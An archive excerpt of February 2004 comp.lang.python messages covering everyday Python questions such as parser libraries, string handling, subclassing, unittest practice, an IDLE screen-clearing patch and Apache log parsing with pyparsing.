In-Reply-To: <xqxr7wqf0xl.fsf@cola2.ca.boeing.com>
References: <c15fip$1epsru$1@ID-212335.news.uni-berlin.de>
	<xqxr7wqf0xl.fsf@cola2.ca.boeing.com>
Message-ID: <403A8471.4000605@egenix.com>

Harry George wrote:
> Viktor Rosenfeld <rosenfel at informatik.hu-berlin.de> writes:
> 
> 
>>Hi, 
>>
>>I need to create a parser for a Python project, and I'd like to use process
>>kinda like lex/yacc.  I've looked at various parsing packages online, but
>>didn't find anything useful for me:
>>
>>- PyLR seems promising but is for Python 1.5
>>- Yappy seems promising, but I couldn't get it to work.  It doesn't even
>>compile the main example in it's documentation
>>- mxTexttools is way complicated.  I'd like something that I can give a BNF
>>grammar to handle.
>>
>>Is there a good parsing module for python that I missed?

You should have a look at SimpleParse which converts BNF to
the tag tables used by mxTextTools:

	http://simpleparse.sourceforge.net/

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Services directly from the Source  (#1, Feb 23 2004)
 >>> Python/Zope Consulting and Support ...        http://www.egenix.com/
 >>> mxODBC.Zope.Database.Adapter ...             http://zope.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________

::: Try mxODBC.Zope.DA for Windows,Linux,Solaris,FreeBSD for free ! ::::



From shoot at the.moon  Thu Feb 26 15:33:23 2004
From: shoot at the.moon (Steve Horsley)
Date: Thu, 26 Feb 2004 20:33:23 +0000
Subject: Dumb noob q: ASCII value of a character
In-Reply-To: <c1lfhb$usl$1@news1.tilbu1.nb.home.nl>
References: <c1ldn6$if2$1@news.freedom2surf.net>
	<c1lfhb$usl$1@news1.tilbu1.nb.home.nl>
Message-ID: <c1ll32$lb3$1@news.freedom2surf.net>

vincent wehren wrote:
> What you're looking for is:
> 
> s = "A B"
> for c in s:
>     print ord(c)
> 
Thank you everyone who answered.

Also, "for c in s:" - hmmm , still learning fast!
Also, overriding str funcion with a local variable - and STILL learning fast!

Regards,
Steve


From http  Mon Feb 23 17:34:01 2004
From: http (Paul Rubin)
Date: 23 Feb 2004 14:34:01 -0800
Subject: How to code a series of alternatives
References: <Xns94987ED355A3Asdfexpertunecom@216.168.3.44>
Message-ID: <7x1xolqvc6.fsf@ruckus.brouhaha.com>

Scott F <sdfATexpertuneDOTcom> writes:

> testvar = bob
> 
> # Trial A: This does not work
> if testvar == ("fred" or "bob):
>     statements
> 
> # Trial B: This does work
> if textvar == "fred" or textvar == "bob":
>     statements
> 
> Trial B is OK for 1 or 2 tests, but gets messy for 5 or 6.  What is the 
> variation of Trial A that will work?  

if testvar in ("fred","bob"):
   statements


From h.goebel at goebel-consult.de  Fri Feb  6 07:31:09 2004
From: h.goebel at goebel-consult.de (Hartmut Goebel)
Date: Fri, 06 Feb 2004 13:31:09 +0100
Subject: OT: Recommended news reader?
In-Reply-To: <y8rh9zfx.fsf@python.net>
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
	<m3y8rhbenz.fsf@tanelorn.bandersnatch.org>
	<y8rh9zfx.fsf@python.net>
Message-ID: <4023890d$0$17036$9b4e6d93@newsread2.arcor-online.net>

Hi,

> But I was very astonished to see that no other mail/news client I have
> examined allows customizing the From: address depending on the folder or
> group you are currently in.  Can that really be true?

KMail, KDE's mail client supports this.

-- 
Regards
Sch?nen Gru?
Hartmut Goebel

| Hartmut Goebel             | IT-Security -- effizient |
| h.goebel at goebel-consult.de | www.goebel-consult.de    |



From peter at engcorp.com  Wed Feb 11 12:43:30 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 11 Feb 2004 12:43:30 -0500
Subject: package similar to XML::Simple
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
	<40294322.7AF2C6D7@engcorp.com> <c0bh63$jp2$05$1@news.t-online.com>
	<40294D36.B0AEE3C4@engcorp.com> <c0do15$tge$02$1@news.t-online.com>
Message-ID: <402A69C2.FC8DABA@engcorp.com>

"Martin v. L?wis" wrote:
> 
> Peter Hansen wrote:
> >>If a parser prints a message "not a valid 8-bit XML character", then it
> >>can't be an XML parser. XML does not have a notion even remotely related
> >>to "8-bit characters".
> >
> >
> > Aren't we talking about semantics now, and rather tritely at that?
> 
> Not at all. This message indicates a lack of understanding of basic
> principles of XML on the side of the authors of this error message.

You missed the point I was trying to make Martin, though perhaps it
is clear now from other messages.

Basically, if I tried to write an XML parser, and distributed it as
such, and you found that it didn't handle this use case, you would
be somewhat unfair to write an article claiming that my XML parser was
in fact not an XML parser.  It has a bug in it, that's all.  I'd fix it!

The fact that the PyRXP maintainers have apparently refused to fix this
problem *does* justify the complaint Uche is making, and I support him
in that now.  I wasn't aware that anyone had even tried reporting the
problem in the first place and was objection to an apparent overreaction.

If the presence of a bug in a program means that one cannot label the
program as being what it is intended to be, then all software would have
to be released with disclaimers like "this is supposed to be a Python
interpreter, and might be someday, but isn't yet because there are some
rare cases where it doesn't correctly interpret Python".  

-still-waiting-for-a-real-python-interpreter-to-be-released-ly y'rs,
 Peter


From rmkrauter at yahoo.com  Sun Feb  8 11:57:41 2004
From: rmkrauter at yahoo.com (Rich Krauter)
Date: Sun, 08 Feb 2004 11:57:41 -0500
Subject: string to integer problem
In-Reply-To: <pan.2004.02.08.16.29.02.415446@lolmc.com>
References: <pan.2004.02.08.16.29.02.415446@lolmc.com>
Message-ID: <1076259460.15359.49.camel@vaio>

On Sun, 2004-02-08 at 11:29, Lol McBride wrote:
>I can't seem to get around how to return the data to it's original
>format
> i.e. the list with 6 integers - I have tried slicing the string and
> converting the charachters individually but then I run into trouble
when I
> have integers over two digits wide as I can't combine the two separate
> digits back into the original number.



>>> l = '(1,10,23,33,35,48)'
>>> [int(x) for x in l[1:-1].split(',')]
[1, 10, 23, 33, 35, 48]

Probably not the best way, but it seems to work.

Rich





From wweston at att.net  Wed Feb  4 15:55:11 2004
From: wweston at att.net (wes weston)
Date: Wed, 04 Feb 2004 20:55:11 GMT
Subject: Line Text Parsing
In-Reply-To: <Xns948575A2C930Aacuencacanadacom@198.161.157.145>
References: <5b4785ee.0311150736.48aef621@posting.google.com>
	<mailman.765.1068940219.702.python-list@python.org>
	<Xns948575A2C930Aacuencacanadacom@198.161.157.145>
Message-ID: <P_cUb.176090$6y6.3421308@bgtnsc05-news.ops.worldnet.att.net>



allanc wrote:
> I'm new with python so bear with me.
> 
> I'm looking for a way to elegantly parse fixed-width text data (as opposed 
> to CSV) and saving the parsed data unto a database. The text data comes 
> from an old ISAM-format table and each line may be a different record 
> structure depending on key fields in the line.
> 
> RegExp with match and split are of interest but it's been too long since 
> I've dabbled with RE to be able to judge whether its use will make the 
> problem more complex.
> 
> Here's a sample of the records I need to parse:
> 
> 01508390019002      11284361000002SUGARPLUM
> 015083915549           SHORT ON LAST ORDER 
> 0150839220692 000002EA BMC   15 KG   001400
> 
> 1st Line is a (portion of) header record.
> 2nd Line is an text instruction record.
> 3rd Line is a Transaction Line Item record.
> 
> Each type of record has a different structure. But these set of lines 
> appear in the one table.
> 
> 
> Any ideas would be greatly appreciated.
> 
> Allan


allanc,
     -slices as in str[0:5] or str[5:] or str[5:-1] - get pieces of a string
     -you'll probably want to strip leading/trailing spaces; see strings doc
     -you may need to cast/convert
     _int = int("55")
     _float = float("4.2")
wes



From alloydflanagan at comcast.net  Tue Feb 17 11:59:46 2004
From: alloydflanagan at comcast.net (A. Lloyd Flanagan)
Date: 17 Feb 2004 08:59:46 -0800
Subject: OO style advice
References: <1076943278.22567.0@echo.uk.clara.net>
Message-ID: <e838aa6e.0402170859.728b425b@posting.google.com>

"DomF" <fidtz at clara#spam#.co.uk> wrote in message news:<1076943278.22567.0 at echo.uk.clara.net>...
> I have been putting together a little text chess program and have run into a
> style issue when integrating my chess clock with my chessboard generator.
> Basically, I would like to be able to manipulate the clock independently of
> the board but also want the clock time as displayed by the board to change
> automatically.
> 
> I am passing in a clock object to the board in __init__ to achieve this.
> However, means that the clock object can be changed via the board object and
> the clock object. Is this good style or should I be designing in a totally
> different way?
> 
As long as the clock is one conceptual object, you should definitely
have only one instance.  You're just passing a handle to the board to
give the board permission to read/update the clock.
The method of having the time in the board and the clock, and
synchronizing, has a fatal flaw.  You would have two instances
modeling the exact same object, and that _would_ be bad design.  I
think you've got the right answer here.


From deets_noospaam at web.de  Wed Feb 25 05:23:18 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Wed, 25 Feb 2004 11:23:18 +0100
Subject: error in inserting a long blob data
References: <f046efac.0402242139.14fd27fc@posting.google.com>
Message-ID: <c1ht2m$u7c$01$2@news.t-online.com>

> 
> values['attachmentpath'] contains the file data.
> The data type of the file data is LONGBLOB in MySql.
> I am not getting why it works for some file but not for others.

Do you have single quotes in your attachment - these would confuse the mysql
parser. I don't remember how to quote them for mysql (in oracle its '' for
a single quote) - but thats in the manuals.

-- 
Regards,

Diez B. Roggisch


From jmeile at hotmail.com  Thu Feb 19 14:11:01 2004
From: jmeile at hotmail.com (Josef Meile)
Date: Thu, 19 Feb 2004 20:11:01 +0100
Subject: INFORMIX & Python/ZOPE
References: <92c875f.0402170828.46efe605@posting.google.com>
Message-ID: <40350a45$1@pfaff2.ethz.ch>

Perhaps you should try to ask on the zope mailing list:
http://mail.zope.org/mailman/listinfo/zope

Ah, and don't forget to post the complete traceback. Without
it, it's almost impossible that somebody helps you.

Regards,
Josef

<webmaster at ac-strasbourg.fr> wrote in message
news:92c875f.0402170828.46efe605 at posting.google.com...
> Hi,
>
> I'm desperatly trying to use Kinfxdb, but I have numerous segmentation
> faults, who lead my Zope to crash. It mostly occurs when I try to work
> with "date" fields (with an Informix Online database).
> I got it here : http://zope.org/Members/papa/
> I'm running a RH7.3 Server, with the latest Informix SDK available on
> IBM website.
>
> Any idea ?
>
> Is there another free solution to connect Zope/Python and Informix ?
> I've also tried informixdb but it doesn't work that great.
>
> By the way, is there a way to get rid of setting the INFORMIXSERVER as
> en ENV variable ? It could be useful to use several servers at a time.
>
> Many thanks for any kind of help !




From jepler at unpythonic.net  Sat Feb 28 20:51:52 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Sat, 28 Feb 2004 19:51:52 -0600
Subject: cls
In-Reply-To: <7adc6872.0402271949.3645d9c@posting.google.com>
References: <7adc6872.0402271949.3645d9c@posting.google.com>
Message-ID: <20040229015151.GA32691@unpythonic.net>

This change makes printing the formfeed character, '\f', clear the shell
window in idle.  I don't know if it also has other undesirable
consequences (I'm not an idle user, and I don't have the patience to do
much testing).  Given this, 
    def cls():
        print '\f'


Index: Lib/idlelib//OutputWindow.py
===================================================================
RCS file: /cvsroot/python/python/dist/src/Lib/idlelib/OutputWindow.py,v
retrieving revision 1.10
diff -u -r1.10 OutputWindow.py
--- Lib/idlelib//OutputWindow.py	9 Jul 2003 18:48:24 -0000	1.10
+++ Lib/idlelib//OutputWindow.py	29 Feb 2004 01:30:34 -0000
@@ -35,6 +35,13 @@
     # Act as output file
 
     def write(self, s, tags=(), mark="insert"):
+        if "\x0c" in s:
+            print "OutputWindow.write saw ^L"
+            self.text.mark_unset("iomark")
+            s = s.split("\x0c")[-1]
+            print "new s: ", s
+            self.text.delete(0.0, "end")
+            self.text.mark_set("iomark", 0.0)
         # Tk assumes that byte strings are Latin-1;
         # we assume that they are in the locale's encoding
         if isinstance(s, str):



From aahz at pythoncraft.com  Thu Feb 26 09:57:26 2004
From: aahz at pythoncraft.com (Aahz)
Date: 26 Feb 2004 09:57:26 -0500
Subject: python-dev Summary for 2004-01-01 through 2004-01-31
References: <mailman.19.1077587431.8594.python-list@python.org>
	<8ab0589d.0402251718.5b728a3@posting.google.com>
	<c1jm2n$q9k$1@panix3.panix.com>
	<m3ad36dpvo.fsf@pc150.maths.bris.ac.uk>
Message-ID: <c1l1gm$p4t$1@panix1.panix.com>

In article <m3ad36dpvo.fsf at pc150.maths.bris.ac.uk>,
Michael Hudson  <mwh at python.net> wrote:
>aahz at pythoncraft.com (Aahz) writes:
>> In article <8ab0589d.0402251718.5b728a3 at posting.google.com>,
>> Brett C. <brett at python.org> wrote:
>>>Michael Hudson <mwh at python.net> wrote in message news:<m3ishwhdb3.fsf at pc150.maths.bris.ac.uk>...
>>>> 
>>>> Um, the article as posted to clpy is hasn't been through docutils
>>>> yet... if the mere fact of formatting it as reST caused encoding
>>>> problems, that would indeed be a mysterious and deep effect.
>>>> 
>>>> Brett's mail contains a header:
>>>> 
>>>> X-MIME-Autoconverted: from 8bit to quoted-printable by
>>>> 	war.OCF.Berkeley.EDU id i1O1oOqk029956
>>>> 
>>>> I'd be inclined to blame that.
>>>
>>>So would I.  =)  Damn it, that is upsetting.  I save the text in UTF-8
>>>and reST handles it fine (as Michael points out below, it shows up
>>>find in the HTML version).  Aahz has suggested using another SMTP
>>>server for sending out the Summary, but that is a pain in the rear.
>> 
>> <raised eyebrow>  How's it a pain?  Just write a Python script that does
>> an scp of the file to creosote, then rsh/ssh to run another Python script
>> on creosote that does the mailing.  <evil grin>
>
>Via which SMTP server, exactly?

creosote's, of course
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Do not taunt happy fun for loops. Do not change lists you are looping over."
--Remco Gerlich, comp.lang.python


From peter at engcorp.com  Mon Feb  9 15:26:06 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 09 Feb 2004 15:26:06 -0500
Subject: Python/Parrot still alive?
References: <tq6dnRV_eM23UrjdRVn-uw@comcast.com>	<c04rqb$pbv$05$1@news.t-online.com>
	<mailman.1341.1076229832.12720.python-list@python.org>
	<c068ah$o0p$00$1@news.t-online.com>
	<6ee58e07.0402082034.1d909f2b@posting.google.com>
Message-ID: <4027ECDE.AB5BE4B6@engcorp.com>

Lothar Scholz wrote:
> 
> "Martin v. L?wis" <martin at v.loewis.de> wrote in message news:<c068ah$o0p$00$1 at news.t-online.com>...
> 
> > Some interpreters don't have virtual machines, e.g. Tcl did not
> > have one until Tcl 8 or so. OTOH, not all virtual machines are
> 
> So Ruby is an interpreter and not a virutal machine ?

Does Ruby have a "byte code" such as Python and Java have?


From marco at bubke.de  Tue Feb 24 11:48:50 2004
From: marco at bubke.de (Marco Bubke)
Date: Tue, 24 Feb 2004 17:48:50 +0100
Subject: numarray bug or my?
References: <c1dtvc$m53$1@graf.cs.uni-magdeburg.de>
	<pan.2004.02.23.23.01.37.704171@NOTTHISBIT.webone.com.au>
Message-ID: <c1fv9i$e8g$1@graf.cs.uni-magdeburg.de>

Simon Burton wrote:

> On Mon, 23 Feb 2004 23:14:03 +0100, Marco Bubke wrote:
> 
> ...
>> Ok, its in Pyrex and has a bug in
>> flat_view = array_to_int(viewport),
>> but I don't know why. If I change the code to flat_view =
>> array_to_double(viewport) its runnig without glitches. I really dont
>> understand it.
>> 
>> Thx
>> 
>> Marco
> 
> Yes, me too. I wasn't sure if NA_InputArray was supposed
> to be able to handle type conversions, so I used the python
> method:
> 
> array = array.astype(numarray.Int32)
> 
> and then used NA_InputArray on that.
> 
> Simon.

Ok, Than I do that, I get everytime a Segmentation fault. Before it was only
from time to time. An its 100% NA_InputArray. If I erease NA_updateDataPtr
before NA_InputArray I get a amok process.

cdef NumArray array_to_float(NumArray array):
  # maybe here is memoty leak!
  cdef NumArray flat_array
  cdef NumArray new_array
  print 'mark 1'
  new_array = array.astype('Float32')
  print new_array
  print 'mark 2'
  NA_updateDataPtr(new_array)
  print 'mark 3'  
  NA_IoArray(new_array, tFloat32, NUM_C_ARRAY)
  print 'mark 4'  
  flat_array = NA_updateDataPtr(flat_array)
  print 'mark 5'  
  return flat_array


From newsgroups at jhrothjr.com  Wed Feb 18 06:52:02 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Wed, 18 Feb 2004 06:52:02 -0500
Subject: super() not a panacea?
References: <pan.2004.02.17.18.59.19.712556@netlojix.net>
Message-ID: <1036kh4msc9es9a@news.supernews.com>

"Clarence Gardner" <clarence at netlojix.net> wrote in message
news:pan.2004.02.17.18.59.19.712556 at netlojix.net...
>
> The super object is considered a solution to the "diamond problem".
> However, it generally requires that the ultimate base class know that it
> is last in the method resolution order, and hence it should not itself
> use super (as well as supplying the ultimate implementation of an
> overridden method.)
>
> However, a problem comes up if that ultimate base class is also the base
> class for another which inherits from it and another independent base
> class also providing that method. This results in a situation where the
> first base class is now required to use super in order to propogate the
> call chain over to the new classes, in the case of the object being an
> instance of the newly-added subclass, but still must not use super in
> the case of the object being an instance of the original (bottom of
> diamond) class.

Have you reviewed the current method resolution order?

http://www.python.org/2.3/mro.html

I believe it was developed specifically to deal with this
problem.

Also, I'm firmly of the opinion that if you've got one of these
bizzare cases, you've got a design smell that should be dealt
with immediately, rather than expecting rational behavior from
language facilities.

"Rational," in this case, usually means "do what I need done
in this specific case, regardless of what anyone else thinks."

John Roth




From anand at easi.soft.net  Mon Feb  2 09:32:07 2004
From: anand at easi.soft.net (Anand K Rayudu)
Date: Mon, 02 Feb 2004 20:02:07 +0530
Subject: embedding  python
Message-ID: <401E5F67.7000005@easi.soft.net>

Hi All,

I have one problem with embedding python into my application.
on HP-UX11 i created my application with linking libPython2.3.a
And with my product i supply all extension dlls [ .so] and with  
appropriate PYTHONHOME and PYTHONPATH set.

Every thing is fine till  i import math,
When i import math [ For all extension modules ]
 I get following error.
    import math
ImportError: dynamic module does not define init function (initmath)

But if i run python in shell it works fine,
I am sure it is some thing to do with my application linking or some 
thing like that.
Could some one please suggest, how to solve  this problem.

It works fine on all other platforms.
I call python using 'PyRunSimpleFile' Function.

Thanks in advance.

Anand





From http  Sun Feb  1 23:16:15 2004
From: http (Paul Rubin)
Date: 01 Feb 2004 20:16:15 -0800
Subject: OT: why do web BBS's and blogs get so slow?
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
	<bvic0i$bbt$1@panix1.panix.com>
	<7xk736s7av.fsf@ruckus.brouhaha.com>
	<bvkgjl$1r1$1@panix1.panix.com>
Message-ID: <7x1xpece0g.fsf@ruckus.brouhaha.com>

aahz at pythoncraft.com (Aahz) writes:
> >But LiveJournal is another one of those sites that slows to a crawl
> >when loaded.  I want to know how the FAST sites do it.
> 
> Considering just how loaded it needs to be before slowing down, and
> considering how much processing LJ needs to do to display each page, I'd
> have to say that it's pretty damn fast and you can probably learn a lot
> from its design.

OK, I looked at a few typical user pages.  I might look at the code
sometime (I think it's in Perl though, yecch).  But I don't understand
about needing to do a lot of processing for each page.  The ones I
looked at looked like they could have been served static entirely from
cache, updated only when someone actually posts a new entry or comment.
Maybe it's doing that, which would certainly make it fast.


From joe at notcharles.ca  Thu Feb 26 17:00:57 2004
From: joe at notcharles.ca (Joe Mason)
Date: Thu, 26 Feb 2004 22:00:57 GMT
Subject: How does Ruby compare to Python?? How good is DESIGN of
	Rubycompared to Python?
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>
	<c1h1sb$1it26i$1@ID-169208.news.uni-berlin.de>
	<slrnc3ob0q.i6n.joe@gate.notcharles.ca>
	<mailman.100.1077717447.8594.python-list@python.org>
	<slrnc3q0j8.jm5.joe@gate.notcharles.ca>
	<Xns949B61515EFD1duncanrcpcouk@127.0.0.1>
Message-ID: <slrnc3spi1.mcf.joe@gate.notcharles.ca>

In article <Xns949B61515EFD1duncanrcpcouk at 127.0.0.1>, Duncan Booth wrote:
> Say I modify your example so that we only have one Func which accepts 
> either a bound or unbound (functionCallback and Foo definitions are 
> unchanged):
> 
>>>> def Func(callback, *extra_args):
>         print callback(*(extra_args+(5,6)))
> 
>         
>>>> Func(functionCallback)
> 11
>>>> f = Foo()
>>>> f.setc(3)
>>>> Func(f.methodCallback)
> 33
>>>> Func(Foo.methodCallback, f)
> 33
>>>> 
> 
> Python doesn't care what type of callable it is passed, so long as it 
> somehow ends up with the right arguments to call it. Can Ruby handle this 
> case?

Sure, you'd just have to check if "callback" is of class Method or
UnboundMethod, and call bind on the first member of extra_args if
necessary.  Again, Python does this for you, so it's definitely a
difference in the language, but it's not impossible (or even difficult).

With Ruby, you'd probably use blocks instead of functions for most
things that need this anyway.

Joe


From claird at lairds.com  Tue Feb 24 12:22:04 2004
From: claird at lairds.com (Cameron Laird)
Date: Tue, 24 Feb 2004 17:22:04 -0000
Subject: Comments requested: brief summary of Python
References: <ce782195.0402232218.6e64177c@posting.google.com>
	<c1ev6d$o9h$1@news.service.uci.edu>
	<ce782195.0402240756.73cf22eb@posting.google.com>
	<c1g0e4$t2n$1@news.service.uci.edu>
Message-ID: <103n21s3lnfv18b@corp.supernews.com>

In article <c1g0e4$t2n$1 at news.service.uci.edu>,
Josiah Carlson  <jcarlson at nospam.uci.edu> wrote:
>> The target audience here is an experience programmer that doesn't know
>> Python at all. So I didn't want to assume they knew about indenting,
>> or how lists work, etc.
>
>In general, not just the Python description, but the three language 
>descriptions I read (Python, Perl, C), all sounded like they were going 
>to be given to a CEO who knew how to use formulas in Excel, not to 
>anyone with real programming experience.
>
>Each version felt very much like you were holding someone's hand. 
>Moosebumps made a good suggestion to offer a short program, and describe 
>it as you go along.  In languages where you can insert a comment 
>virtually anywhere, you could document the code, describing the syntax 
>and features of the languages as you go along.  For those additional 
>language features (like lists, tuples, dicts, etc. in Python, and other 
>in other languages), having a section at the end describing the basic 
>(and advanced) data structures available to the language, seems to make 
>sense to me.
>
>  - Josiah

Me, too.  Josiah hits it just right.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From bignose-hates-spam at and-benfinney-does-too.id.au  Tue Feb  3 01:47:26 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 3 Feb 2004 17:37:26 +1050
Subject: unittest and private methods
References: <88caaeda.0402022158.3a7923ac@posting.google.com>
Message-ID: <slrnc1ui5e.151.bignose-hates-spam@rose.localdomain.fake>

On 2 Feb 2004 21:58:13 -0800, Yin wrote:
> I am an avid user of unittest and write tests for everything. Every so
> often, I write a class that has some private methods that I only want
> to be called from within the class. I usually write unittests for
> these private methods using the mangled form of the call from a test
> script file. It's not very elegant, and I wanted to get some feedback
> on how others write unit tests for private methods.

If a method is private, why is it being tested from outside?  Unit
testing is supposed to test that the module *behaves* as expected.  If a
method is private, it's not part of the external behaviour of the
module.

Possibly you want to re-think what it is you're testing.  Write a public
method that *does something visible*, and test that.  If you find that
there's nothing the private method is doing that you want to test from
outside, then why are you trying to test it?

-- 
 \        "Laurie got offended that I used the word 'puke.' But to me, |
  `\              that's what her dinner tasted like."  -- Jack Handey |
_o__)                                                                  |
Ben Finney <http://bignose.squidly.org/>


From aahz at pythoncraft.com  Wed Feb 18 02:17:41 2004
From: aahz at pythoncraft.com (Aahz)
Date: 18 Feb 2004 02:17:41 -0500
Subject: Memory pre-allocation for large lists
References: <ift530d51l8td0uoohm5t9ad96pq5n4e3i@4ax.com>
Message-ID: <c0v3il$bk3$1@panix2.panix.com>

In article <ift530d51l8td0uoohm5t9ad96pq5n4e3i at 4ax.com>,
Avi Kak  <kak at purdue.edu> wrote:
>
>Is it possible in Python to define an empty list of a predetermined
>size?
>
>To illustrate my question further, I can do the following in Perl
>
>   my @arr = ();
>   $#arr = 999;
>
>that wold cause @arr to become an empty array of size 1000.  This
>array could be used to store 1000 elements without any further memory
>allocation for the array itself.
>
>Can the same be done in Python?

Can, yes.  But why?  Python uses an allocation mechanism for lists that
results in constant amortized time; there's really no reason to
pre-allocate.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From david.grant-NOSPAM at telus.net  Thu Feb 26 20:36:45 2004
From: david.grant-NOSPAM at telus.net (DG)
Date: Thu, 26 Feb 2004 20:36:45 -0500
Subject: Plotting modules
Message-ID: <c1m6vd$sij$2@rumours.uwaterloo.ca>

I'm interesting in finding the ultimate cross-platform python plotting 
module.  So far I've used scipy.gplt and biggles which both have 
disadvantages.  There is no python 2.3 binary package for biggles in 
windows, and scipy.gplt doesn't seem to work with MacMillan's installer 
in Windows.  I haven't tried py2exe yet.

I need a plotting program this is:
-Cross platform (linux and windows) and can build into binary form, or 
easy to install form on linux and windows.
-Hopefully still maintained (unlike biggles)
-Easy to use (like scipy.gplt)

I wasn't that impressing with the Gnuplot python module, and I haven't 
tried scipy.plt or chaco yet.

Alternatively, if someone can tell me some way that I can package my 
code so that others in Windows can run it.  I just don't want other 
people to have to download python, Numeric, scipy, and biggles, for 
example, just to get my code to run.  But if I could easily package all 
that stuff into one, that would be fine, although the installer would be 
huge.

David


From smcg4191 at frii.RemoveThisToReply.com  Mon Feb 16 18:20:18 2004
From: smcg4191 at frii.RemoveThisToReply.com (Stuart McGraw)
Date: Mon, 16 Feb 2004 16:20:18 -0700
Subject: overriding method that returns base class object
References: <4031441c$0$202$75868355@news.frii.net>
	<4031481B.90B31C73@engcorp.com>
Message-ID: <40315037$0$199$75868355@news.frii.net>

Sorry, you are right, I wasn't clear.  I mean B inherits from
A.  Here is what I am trying to do...

Class A has a method A.a() that returns an A.  I want a 
identical class but with an additional property .newprop
and method .b()  And I want .a() to return a B, not an A.

  class B (A):
    def __init__(self, *args, **kwds):
      A.__init__(self, *args, **kwds)
      self.newprop = 99
    def a(self):
      x = A.a(self)    # x is an A
      x.__class__ = B
      return x    # I want x to be a B, i.e have b() and .newprop.
    def b(self):
      ...something...

Yes, I know this is bogus.  But I am not sure what 
I should be doing.  And to correct what I originally
posted, A is implented in python (but I still can't
change it for administrative reasons), but it's properties 
are declared with "__slots__ = [...]" if that makes a 
difference.  This is all in Python 2.3.3.


"Peter Hansen" <peter at engcorp.com> wrote in message news:4031481B.90B31C73 at engcorp.com...
> Stuart McGraw wrote:
> > 
> > I have a class A from a third party that I cannot change
> > and is implemented in C.  I derive my own class B from A
> > and add a couple new methods and override a method.  The
> > problem is that A has a method (call it A.f() ) that creates
> > and returns a new A object.  I need B.f() to return a B
> > object derived from A.f().  What is the best way to make
> > that happen?
> 
> If I understand this correctly, it has nothing to do with the
> fact that the parent class is implemented in C and you just
> need to know a little uncommon syntax:
> 
> class A:
>     def f(self):
>         return A()
> se
> class B(A):
>     def f(self):
>         obj = A.f(self)
>         # do whatever you want to obj here
>         return obj
> 
> The key is what you mean by "a B object derived from A.f()".  If
> by derived you mean something to do with _inheritance_, then 
> either you don't understand inheritance or you weren't clear what
> you wanted.
> 
> If you just mean you want B's f() to do something special to the 
> A object that A.f() returns, then the above code should let you
> do that properly...
> 
> -Peter


From aahz at pythoncraft.com  Sun Feb 15 16:07:59 2004
From: aahz at pythoncraft.com (Aahz)
Date: 15 Feb 2004 16:07:59 -0500
Subject: __del__ doesn't work
References: <21064255.0402151141.51a38fed@posting.google.com>
Message-ID: <c0on3f$3uf$1@panix2.panix.com>

In article <21064255.0402151141.51a38fed at posting.google.com>,
Peter Abel <PeterAbel at gmx.net> wrote:
>
>I have an application, which is an instance of a class with a deeply
>nested object hierarchy. Among others one method will be executed as a
>thread, which can be stopped.  Everything works fine except that when
>deleting the main instance - after the thread has been stopped - the
>__del__ method will not be carried out.

It's almost certainly the case that you've still got a reference to that
instance somewhere.  Try holding a binding to the instance; if
sys.getrefcount() returns >2, you know there's some other binding in
existence that you need to track down.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From ptmcg at users.sourceforge.net  Fri Feb 20 04:18:01 2004
From: ptmcg at users.sourceforge.net (Paul McGuire)
Date: Fri, 20 Feb 2004 09:18:01 GMT
Subject: Parsing apache log files
References: <oqigg1-3nl.ln1@grendel.myth>
Message-ID: <dhkZb.10915$jl.3737@fe2.texas.rr.com>

"Jim Richardson" <warlock at eskimo.com> wrote in message
news:oqigg1-3nl.ln1 at grendel.myth...
>
> I am pulling apart some big apache logs (800-1000MB) for some analysis,
> and stuffing it into a MySQL database. Most of it goes ok, despite my
> meager coding abilities. But every so often I run across "borken" bits
> of data, like user agent strings that include "'/\ and such, although
> they are escaped by apache in writing the log, they break up my somewhat
> clunky splits.
>
pyparsing examples directory includes an HTTP server log parser.  Using your
data, there was one minor error where the bytesSent field in the first line
was just a dash instead of an integer.  After correcting that, I ran it
against your test lines and got this output:

fields.numBytesSent = -
fields.timestamp = ['16/Feb/2004:04:09:49', '-0800']
fields.clientSfw = Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
fields.referrer =
http://www.foobarp.org/theme_detail.php?type=vs&cat=0&mid=27512
fields.cmd = ['GET', '/ads/redirectads/336x280redirect.htm', 'HTTP/1.1']
fields.ipAddr = 111.111.111.11
fields.statusCode = 304

fields.numBytesSent = 541
fields.timestamp = ['16/Feb/2004:10:35:12', '-0800']
fields.clientSfw = Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera
7.20  [ru
fields.referrer = http://11.11.111.11/adframe.php?n=ad1f311a&what=zone:56
fields.cmd = ['GET', '/ads/redirectads/468x60redirect.htm', 'HTTP/1.1']
fields.ipAddr = 11.111.11.111
fields.statusCode = 200

Download pyparsing at http://pyparsing.sourceforge.net.

Here's the change you'll have to make to the example:

Change:
                       integer.setResultsName("statusCode") +
                       integer.setResultsName("numBytesSent")  +
to:
                       (integer | "-").setResultsName("statusCode") +
                       (integer | "-").setResultsName("numBytesSent")  +

-- Paul




From http  Sat Feb 28 14:33:47 2004
From: http (Paul Rubin)
Date: 28 Feb 2004 11:33:47 -0800
Subject: Pure Python HTTPS Server
References: <c1lq2u$t13$1@news-int2.gatech.edu>
	<7xd6814gzi.fsf@ruckus.brouhaha.com>
	<2004022617475016807%bob@redivicom>
	<7x7jy9igvg.fsf@ruckus.brouhaha.com>
	<47e891f1.0402261830.7e803327@posting.google.com>
	<7x1xogvr35.fsf@ruckus.brouhaha.com>
